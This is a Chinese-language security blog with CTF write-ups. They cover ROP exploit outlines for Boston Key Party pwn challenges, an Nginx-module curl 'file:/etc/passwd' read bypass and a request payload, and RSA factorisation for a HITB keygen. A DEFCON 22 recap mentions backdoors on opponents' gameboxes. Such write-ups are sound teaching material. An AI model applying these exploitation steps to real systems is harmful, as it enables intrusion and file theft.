2015年4月13日 星期一

Web 狗沒人權 TAT?





花了很大力氣蒐集了許多資訊,花了幾個月模擬著可能的突破口一個個檢視
終於發現某個網路邊界有 SQL Injection 可以 Getshell 進到內網

結果被說「Web 很簡單,不就 SQL Injection ?」
......

Web終究沒人權


2015年3月2日 星期一

Boston Key Party CTF 2015 [Harvard Square] [Andrew & Broadway] Write-ups



Boston Key Party 是今年 Defcon CTF 的倒數第二場資格賽,
雖然只拿了 第二名 不過由於冠軍的 PPP 已經確定保送所以應該是可以遞補上今年 Defcon 決賽資格!!

比賽幾乎是滿滿的 Pwn 以及 Crypto 而且都是 64-bits 不過看來也是趨勢沒什麼好說的XD
有點慚愧自己 Pwn 的能力太久沒練反而都退步了趁著這次機會好好練習順便學一下想學很久的 Pwntools XD


Harvard Square (Pwn 275)

Harvard 是一個線上 Exploit 購買競標系統,ELF 64-bits with DEP

主要漏洞有兩個
  1. 當在回合內還完自己的負債(owed)以及金錢(money) > 99999999 時名字可進入至排行榜,此時會產生 Buffer Overflow ,不過依照遊戲的規則,要在有限的回合內完成似乎不太可能
  2. 程式開始時有機會輸入 Cheat Code,讀 40 個 bytes 時不過 buffer 只有 24 bytes 所以會覆蓋到 exploit_free 以及 string_free 這兩個 Function Pointer ,這兩個會在後面 gc_free 時候被引用到所以覆蓋 Function Pointer 可以有一次的任意地址跳轉

由於遊戲無法執行到好利用的 Buffer Overflow ,所以比較直觀的想法是利用覆蓋 Function Pointer 跳轉去觸發第一個漏洞

可以成功觸發漏洞後接著就是撰寫 Exploit 的部分,
程式不大加上是 x64 所以很難構造對應的 ROP,嘗試了很久才發現原來題目有提供 glibc 的 Binary ... 不過最後還是在沒有依賴它提供的 GLIBC 下完成 Exploit (否則應該可以省下一半以上的時間...)

首先 Leak Address
[AAAAAA...] + [pop rdi / ret] + [got_of_strlen] + [call puts] 

透過洩漏的地址算出 system 的地址後再進行攻擊
繼續構造
[AAAAAA...] + [pop rdi / ret] + [cmd string address] + [system_address]

這裡比較有趣的事因為 ROP gadget 很少所以想不到甚麼辦法洩漏 address 或是構造參數去 read 弄出 /bin/sh 這個字串
最後終於被我想到XD,由於是使用 system 不是 execve 所以可以不用提供絕對路徑,所以只要送個 sh 就好了,
反正在英文單字中 sh 是很常出現的字根,找個字串結尾是 "sh\x00" 的地址設過去即可!



最後附上完整的 Exploit 



Andrew & Broadway (Pwn 275 & Pwn 275)

Andrew 跟 Broadway 是一樣的題目,只是兩者的目標不同
本來是只有 Andrew 這題只是比賽途中 Andrew 被找出出題者意料外的漏洞造成不用 Shell in 就可以拿到 Flag 所以為了公平性原本的題目就維持著而加開了 Broadway 換了種方式一定得拿到 Shell 才有 Flag

Andrew 是一個編譯好的 x64 Nginx Binary,整個 Binary 很大如果慢慢看一定看不完
但由於 Nginx 編譯是用最新的版本(1.6.2),所以大致可以不用考慮 Nginx 自身的漏洞

簡單摸索一下執行檔發現執行檔在編譯的時候多編進了一個 Nginx Module 
所以大概猜這個 Module 上有記憶體相關的弱點可以拿 Shell 

整個 Module 很簡單,會對傳進來的路徑使用 curl_easy_perform 去下載後判斷類型後進行 prettify, minify, leetfy ... 等處理

正確的解法應該是要想辦法讓路徑被 curl_easy_perform 當成一個合法的 URL 去下載、存取遠端資源,接著在 minify 函數中由於使用 strlen 判斷遠端資源大小後 memory copy 所以可以在遠端資源中用 Null Byte 來繞過大小的檢查產生 Buffer Overflow

由於 Nginx 在處理路徑時的正規化,會將 Double Slash 轉成 Single Slash (http:// -> http:/)
所以這樣的 payload 會失敗
http://ATTACK_SERVER/http://MY_SERVER/payload.html
不過好玩的是,雖然 http:// 轉成 http:/ curl 會不吃,但 file:// 轉成 file:/ curl 居然會吃 ...
curl http:/MY_SERVER
curl ftp:/MY_SERVER
都會失敗但
curl file:/etc/passwd 
這種錯誤的表達方式居然會被接受XD (正確的表達方式應該是 file:///etc/passwd)
所以一出來被用這種方式繞過 Shell 拿到 Flag 後出題者只好重振旗鼓(?) 重出一題xD

新的 Broadway 題目架構一樣不過比較機車的是 Flag 位置不給你了,
所以有了任意讀檔也沒有用非得拿到 Shell 才能翻出 Flag 位置

由於需要有遠端 HTTP Server 配合所以 payload 比較凌亂放上了只給個大致流程XD

觸發漏洞皆使用
GET /MY_IP_ADDRESS:12345/payload.html# HTTP/1.0
至於 payload.html 內一樣分成兩次 Leak Address 以及執行 system

洩漏地址
[Null Byte] + [AAAAAA...] + [ROP of dup2(fd,0)] + [ROP of dup2(fd,0)] + [pop rsi / ret] + [got_of_dup2] + [write address] ...

執行指令
[command] + [Null Byte] + [pop rsi / pop r15 / ret] + [0] + [0] + [xchg eax,ebp / ret] + [pop rax / add rsp, 8  / ret]
 + [system_address] + [0] + [call eax]


最後附上這三題的 Binary 有興趣可以自己摸索XD











2014年12月11日 星期四

103 年資安技能金盾獎


紀錄一下XD

103 年資安技能金盾獎,

台科大 「一輩子的明太子大食團」,冠軍!




(圖文不符,放張圖好像比較有內容點)



2014年10月19日 星期日

Hack in the Box 2014 CTF Writeup - KeygenMe with RSA




這次被以 HITCON 的身份邀請到馬來西亞參加 HITB 2014 CTF,照慣例來寫篇 Write Up

這次結果只有亞軍第二名有點殘念,
第二天下午攻擊程式停了四小時少了幾萬分,不然應該有望第一XD
不過也是經驗,有個自動化攻擊以及送 Flag 的 Framework 真的還滿重要的,沒準備好也是失策XDRZ

HITB 這次是以 Attack & Defense 加上 Jeopardy 形式舉辦,
每個隊伍有一檯實體主機,上面 run 個 Ubuntu 14.04 on VMPlayer
隊伍要想辦法自己取得 root 以及找到服務開啟
到比賽截止前主辦方共放出了 4 個 Daemon 以及 7 個 Challenge

比賽形式是以宇宙機戰的模式進行,
每回合成功 Keep 住 Daemon 獲得 100 生命值,
成功攻擊其他隊伍 Daemon Flag 獲得 200 生命值,
而 Challenges 則是加分項目,成功解開一個獲得 2000 - 3000 不等的生命值



而雖然這次的比賽是以 Attack & Defense 型式進行,
不過各 Daemon 服務比較像是 Reversing & Puzzle 的綜合,
成功解開後 Daemon 會自行讀取 Flag 吐給你,所以整場比賽也都不會用到 Overflow, Shellcode, ROP... 等

另外的 Challenge 則比較偏向 Reversing 以及 Stego 的形式,


這次的 Write Up 就是本次 CTF Challenge 中的一題 Reversing 題目,
雖然本身是 Web 狗、滲透狗,不過在這種對我們不友善的地方還是只能哭著下去看 T_____T


題目是一題 Keygen Me,
標題是 HITB2013KUL 不知道是 Typo Error 還是去年出的題目沒有用上放到今年開XDDDDD



很直觀的就是一個驗證程式要寫出註冊碼,正確會顯示 Correct 錯誤會顯示 Wrong
理所當然使用爆破直接改跳轉點是沒有用的,

二話不說拖進 IDA



一堆臭臭長長的 Function 沒有辨識出來,
OEP 怪怪的不過不影響分析,
Visual C++ 編出來的程式多了一些怪程式區段滿機車的 T___T

使用 GetDlgItemText 可以把關鍵地方定位出來,
仔細觀察發現程式有使用 MIRACL 的 C++ 大數函示庫,
可以從 這篇 文章中將各個函數作用大致識別出來,如 subtract, divide, powmod 等,
如此一來分析輕鬆了許多!

接著花了幾個小時分析,把大致程式邏輯給弄懂如下
(IDA 靜態分析中雖然沒有看到對於 e 的賦值,不過可以透過動態追蹤會發現 e = 17)



看起來是對 Input 進行處理後使用 RSA 加密起來並且最後與密文進行比對,成功則是正確的 Flag!
RSA 依靠大質數保護演算法的安全,其中用到的大質數乘積為
7906961983747432626460011685427449111190647169309825535629493220735583689550836202522449
滿短的應該可以很快解出,
丟進 Factordb 中可以馬上分解出
7906961983...49 = 88899280969284710491078307117271523349979587 x 88942923919478497069248398794539034790292827
所以現在有了
p =  88899280969284710491078307117271523349979587
q = 88942923919478497069248398794539034790292827
e = 17
n = 7906961983...49
複習了一下好久沒碰的 RSA,當把 N 解開有了 P 跟 Q 後接下來可以求出 Private Key D 來,這邊使用 rsatool 來用

orange@me:~$ python rsatool.py \
> -p 88899280969284710491078307117271523349979587 \
> -q 88942923919478497069248398794539034790292827 \
> -e 17 \
> -n 7906961983747432626460011685427449111190647169309825535629493220735583689550836202522449
Using (p, q) to initialise RSA instance

n =
fe6277ac25de48eedb829ad5458bc32e0dd678c80a123ecd73a54cb08eb719017cc88c751

e = 17 (0x11)

d =
d17e446fa6b70ee2d2e40709fd09afcb92ec72dbe4c3614dcfb8a25b150b817622e58ae49

p =
3fc8381a552f012766fc3078a07f8103761c3

q =

3fd03c2f3c9b63f9208ee942c904d16536d5b

得到 D 之後就可以解上面要解的密文了!

orange@me:~$ echo 021abe7c17d73978e63835b0e76ad6120f5a3f8148f3de87da6e5b07bf7b76041c78aedf0c | xxd -r -p | python rsacrack.py -d d17e446fa6b70ee2d2e40709fd09afcb92ec72dbe4c3614dcfb8a25b150b817622e58ae49 fe6277ac25de48eedb829ad5458bc32e0dd678c80a123ecd73a54cb08eb719017cc88c751 | xxd -p -c 64

0000000000000000000000000000000000000000000001c2f3db8f478caafc84b10ed113

得到明文 1c2f3db8f478caafc84b10ed113
不過這是運算過後的結果 =___=
所以要根據剛剛的運算弄出逆算法(數學苦手XDRZ)

最後推出
0x1c2f3db8f478caafc84b10ed113 * 66772239585999913610952241123315507216972277506025821^N + 29411180916569003283374190496632319086172136623216324
出來的結果就可以以十進位五個一組五個一組推回原本的 FLAG 
又因為是 mod 的逆運算,根據 N 的值答案可以不只一組( N=1,2,3 ... )

最後得出當 N=1 的時候會有 printable 的解
2385648152415111590458116323765417147676516881603229820532451315251688506013237646763
解碼後為












2014年8月26日 星期二

HITCON Won the 2nd in DEFCON 22 CTF Final





HITCON 周結束,終於有個時間可以來寫寫個日記,順便記錄一下今年出征的一些記錄
這種感覺有點像是電競選手( 不過比的是駭客技巧就是了XD )

感謝所有參與的隊友們、以及提供幫助的各位朋友、前輩,以及全額贊助 HITCON 去 Las Vegas 比賽的趨勢科技
( 幾十個人來回的 Las Vegas 機票真的不便宜... )

這邊讓我一一感謝一下強者我隊友們!(排名不分先後xD)
  • Sean, Jeffxx, Atdog, Ddaa, Lucas 隊伍中的最主要負責找漏洞的神手,沒有他們我們的攻擊能力絕對不可能那麼強
  • Jerry 隊伍的防護全部靠他了,甚至強到只要看到攻擊形式就可以把未知的漏洞給修補起來!(順道一提這位強者現在才大二喲!)
  • Shik, Peter 兩位 ACM World Final 神手,除了分析外,比賽中只要把攻擊代碼給他們,接下來就可以自動得分了,另外這次 DEFCON 的比賽有道題目是必須要跟演算法有關,有個他們兩個根本就 OP!
  • DM4 比賽主機的狀況幾乎都是他在顧的,他寫 script 程式的質量速度真的讓人驚歎!( 可惡是 Ruby 派XD )

當然並不是所有隊員只做一件事,大部份的狀況都是一個隊員要身兼多職,分析 pcap 啦、顧主機、找洞啦等

HITCON 隊伍從初賽的臨時抱佛腳賽進決賽名單,到最後成功獲得世界最大比賽 DEFCON CTF 的亞軍,到現在還是很難以相信。



相關比賽紀錄可以參考:



百度 BCTF

出征的第一場,是參加由中國百度所主辦的 BCTF 為 HITCON ( 原 HITCON 217 )的前哨戰,
做為第一次參加的正式 Attack & Defense 比賽,很大程度上讓我們體驗了 DEFCON CTF 的規則,驗證了許多原本的猜想,
也在此場戰役中發想出了許多 Idea 在後面的 DEFCON CTF 都有被我們給用上,也可以說是「如果沒有這場比賽的熟悉,直接到了 DEFCON CTF 現場應該會手忙腳亂吧XD」

 ( 主辦方技術支持 Blue Lotus,picture from Alan )


比賽間,在第一天我們順利找出 secret-guard 題目的 0day 造成分數爬升的差距使得後面隊伍無法追趕,也因為有了先手優勢使我們可以在此場戰役中取得冠軍!

在最後一天有個隊伍試圖想對我們使用 fork bomb 來個奮力一搏,不過我們在他們要使用前修補了漏洞XD

以及由於第二天分數相差懸殊,使得我們可以在多餘的時間去實作以及分析其他的技巧的可行性,例如

  1. 分析其他隊伍的修補是否完整,是否有可以繞過的地方。
  2. 在其他隊伍的 Gamebox 上架 socks server
  3. 分析其他隊伍如何防護等

在此也認識了些聊得來的中國朋友,算是意外的收獲~



SECUINSIDE CTF FINAL

出征的第二場,是由韓國 ASRT 所主辦的 SECUINSIDE CTF Final,

在韓國首爾所舉辦,採用的是 Jeopardy 解題形的方式,
作為資安大國的韓國,SECUINSIDE 獎金也是世界最多,第一名可得 88 萬台幣,

也開始在韓國知道、認識到世界上的一些強隊,
如 9447 是 Australia 的一個學校社團,隊員中竟然還有女生( 連 DEFCON CTF Final 都有出現,好像真的滿厲害的xD ),
韓國 BOB 計劃培養出來的隊伍,
看到老外跟老外之前好像都是認識的一樣,有點反省自己的英文水平還是不好

決賽共十隊參賽,在這次的比賽中 HITCON 隊伍表現並不如預期,尋找弱點的速度輸其他隊伍、相關的平台也沒準備好,如
  1. IOS App Reversing
  2. Windows 8 App Reversing
  3. SPARC pwn
  4. ... 
題目中還看到李家同教授的 DNA Crypto 理論,在比賽途中沒人解出時主辦單位還直接貼論文上來,
不過總體來說從這場戰役中體驗到我們的差距仍然距離世界等級有一段差距,如
  1. 此場比賽中的冠軍,是由天才駭客 Geohot 一個人所組的隊伍 tomcr00se 抱走 88 萬
  2. 日本隊伍 Binja 在此場戰役中取得了進入之前在 DEFCON CTF 初賽無法取得的決賽門票,有題我們一直無法解出的 300 分 pwn 題目,還是由一名日本天才高中生解出
  3. 也有看到某隊伍 Skype 視窗好多人啦XD

比賽途中也有一些趣事如 BalalaikaCr3w 這個隊伍在嘗試送 Key 時送太快造成主辦單位 Race Condition 所以 200 分的題目可以送兩次變 400 分XD

以及主辦單位特地幫各個國家準備隊伍名稱配上國旗的大帆布看到也真是太感動!



相關比賽紀錄可以參考:



DEFCON CTF FINAL

由美國 LEGITBS 所主辦的 DEFCON CTF
也是世界上相關比賽中最出名的一個,被喻為是駭客界的奧林匹克,由

  • DEFCON 初賽選出前十二名隊伍
  • 世界上各區域種子賽的冠軍共八隊

共 20 隊
比賽也是採取 Attack & Defense 形式,共三天
在比賽中,我們一直無法搞定網路環境
( 需要可以支援 VLAN tag 999 的機器 )
後來跟其他隊伍交流,聽說 Blue Lotus 還特地去買了個 Switch 還不能用XD,
另外個隊伍就比較土豪說他們直接用 Mac Mini 當 Router 來用xDDD

這就是我們這三天要拼死要保護的主機,並且要想盡辦法入侵同樣別人的這台主機

( picture from Alan )


DEFCON 同時也會世界最大知名駭客研討會,三、四天的行程吸引了萬人以上不論駭客、鎖匠、教授、資安專家等齊聚 Las Vegas,下面則是入場門牌,一張 200 還 220 美金XD

「DO NOT OBEY」也是這次這次 Badge 的標語,整個也很符合駭客的習性xD



比賽中有幾個特別的成就我這邊列一下,

1. HITCON 隊伍為全場三天內第一個取得分數的隊伍,主辦單位為此顯示 First Blood 於螢幕上


2. 結束時被冠軍 PPP 過來除了詢問 Eliza 的 exploit 如何撰寫外,使用的後門形式還被稱讚「Your crontab is so cute.」

3. 從 Youtube 可以看出在這段時間內,我們 HITCON 是唯一可以吃到 PPP 分數的一隊




最後是所有隊友的合作無間,

在比賽第二天的下午到最後一天結束,在被冠軍 PPP 強力猛攻的時期培養出了一個 SOP 流程
  1. 發現被攻擊,立即記錄下何時於哪個服務失分
  2. 立即有人馬分析封包流量,找出其他隊伍所使用的 exploit 並嘗試 Replay
  3. 如無法成功則送至另外一組人馬手上分析,
  4. 從 exploit 大致分析為何種攻擊方式,並且交給負責的人為自己的服務上 Patch
  5. 將此 exploit 寫成自動化攻擊程式

所以在比賽後半場,大家都在緊張兮兮深怕 Skype 有訊息跳出來,因為只要一有訊息跳出來則可能代表,又被其他隊伍攻擊成功了,這兩天所消耗的精神真得滿可觀的。

PPP 為冠軍真的當之無愧,除了第二天下午發現的 justify 0day 外,還有 wdub, imap 一直連打,
( 雖可以 justify replay ,但目測有 ASLR 約 200 ~ 300 次約才有一次成功 )

連唯一的 Badge 題,雖然在比賽中 PPP 沒有成功利用,但事後 LegitBS 敘述 PPP 是有成功做出這題的 exploit 的,但是由於他們設計 Badge 題目的錯誤使得 IP 網段在 10.5.0.??? 的 PPP 無法成功取得分數( 估計是 Null byte 問題 XD )

事後想想,第三天快結束時, 由於 HITCON 隊伍剛好是以四強的身分坐在 PPP 對面,我的正對面就是 Geohot,那時他突然大吼了一聲,現在想起來也許就是完成 Badger exploit 的感覺,真的是 Never Give Up。

( picture from Legitbs )


比賽最後五分鐘,主辦單位放起了 Europe 的 The Final Countdown,除了歌曲剛好倒數五分鐘外,最後結束全場的歡呼拍手有了個努力三天有個完美 Ending 的感覺。

比賽的冠軍根據傳統會得到八張黑色 DEFCON Badge,也就是傳說中的 DEFCON 黑卡,憑此卡可以每年免費進入 DEFCON 會場,亞軍以下就沒有什麼獎品了,純粹是知名度!
(去年亞軍還有比賽用的 ARM 開發版的說xDD)

其他關於 DEFCON CTF Final 心得可以參考:




---

最後的結語,來點感嘆

在 HITCON ENT 跟中國朋友聊到,

有個現象,
做二進制 Binary 的看不起做 Web、做滲透的,
做 Web、滲透的覺得看到做二進制的就很屌。

做 Web、滲透除了技能是基本功必要具備外,
更多的是技巧(Trick)的了解、想像力以及對於資訊的敏感度,
但很多的人以為技巧就是技巧,沒什麼

引用一下 「中國黑客傳說:我是超級黑」中的文句如是說,
「技巧也要點一下你才會通啊,不點你可能永遠也通不了」

以同樣難度的題目為例,

Binary 可能要花時間分析就可以有結果,
Web 只要懂個比較少人懂的 Trick 就可以馬上得分,

而且往往有更多的Web 技巧、滲透技巧是無法以 CTF 題目的方式呈現的的,

但這樣看下來,好像做 Binary 的就比較厲害,做 Web 或是滲透的就因為花的時間少比較不受重視 :(

不可否認的,如果是從資安要入門很多人會推薦從 Web Security 入門,因為是簡單快速能有成就感的一門科目,

我也這麼推薦,比起如 Pwnable 或是 Reversing 等需要大量基礎知識的學科,Web 這方便真的相對好入門,

以學習曲線舉例會如

Web Security、滲透一開始的學期曲線低,但後期的曲線相對是直線攀升的
(所以很多人會覺得自己做 Web 或是滲透卡在高不成、低不就的階段)
Binary 相關一開始的學習難度高、曲線高,但後期只要努力便可以穩定爬升

但很多人只看到好入門這邊做文章,與簡單沒技術畫上等號,然後看到 Kernel、Ring0、組語等就高潮了。
(好像在某些地方也有這種現象...)




---


最後 HITCON 隊伍需要各方好手加入,歡迎你們!

附上此次亮相館為本次比賽所拍的紀錄片